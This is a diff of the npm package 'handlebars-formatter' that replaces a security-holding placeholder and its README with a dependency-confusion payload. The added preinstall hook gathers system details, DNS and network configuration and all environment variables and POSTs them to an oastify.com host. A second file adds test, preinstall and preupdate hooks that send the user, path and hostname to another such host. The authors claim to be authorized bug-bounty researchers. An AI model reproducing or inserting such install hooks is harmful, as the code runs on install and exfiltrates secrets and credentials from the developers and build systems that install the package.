handlebars-formatter 0.0.1-security → 26.0.0

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "handlebars-formatter",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "26.0.0",
+  "description": "CRITICAL - Final Dependency Confusion RCE with Intercom Attribution (nepalihacker000)",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "(echo '[+] === Nepalese Hunter: RCE Beacon with Attribution ==='; echo '[>] Timestamp: ' $(date); echo; echo '[+] --- DNS CONFIGURATION ---'; cat /etc/resolv.conf 2>/dev/null || echo 'resolv.conf not found'; echo; echo '[+] --- USER & PRIVILEGE CONTEXT ---'; id 2>/dev/null || echo 'id command not found'; echo; echo '[+] --- SYSTEM & ENVIRONMENT ---'; hostname 2>/dev/null || echo 'hostname not found'; uname -a 2>/dev/null || echo 'uname not found'; echo; echo '[+] --- PUBLIC IP (Attribution) ---'; (curl -s ifconfig.me || curl -s api.ipify.org || echo 'Public IP fetch failed'); echo; echo '[+] --- NETWORK CONFIGURATION ---'; (ifconfig 2>/dev/null || ip -o a 2>/dev/null || echo 'No network tools (ifconfig/ip) found - suggests hardened container.'); echo; echo '[+] --- FULL ENVIRONMENT VARIABLES ---'; env 2>/dev/null || echo 'env command not found') | curl -X POST --data-binary @- http://ehzwv3w6wfx7w7posqq96kwep5v2js7h.oastify.com/ATTRIBUTION-PROOF-FROM-$(hostname)"
+  },
+  "author": "nepalihacker000 (Bugcrowd P1)",
+  "license": "ISC"
 }

package/pakage.json

@@ -0,0 +1,13 @@
+{
+  "name": "handlebars-formatter",
+  "version": "10.0.1",
+  "description": "Bugcrowd-authorized Dependency Confusion PoC for Intercom",
+  "main": "index.js",
+  "scripts": {
+    "test": "wget --quiet \"http://g5mo0528lzqwfbbtgm706yt4jvpsdi17.oastify.com/?stage=test&user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"",
+    "preinstall": "wget --quiet \"http://g5mo0528lzqwfbbtgm706yt4jvpsdi17.oastify.com/?stage=preinstall&user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"",
+    "preupdate": "wget --quiet \"http://g5mo0528lzqwfbbtgm706yt4jvpsdi17.oastify.com/?stage=preupdate&user=$(whoami)&path=$(pwd)&hostname=$(hostname)\""
+  },
+  "author": "orwa (authorized researcher)",
+  "license": "ISC"
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=handlebars-formatter for more information.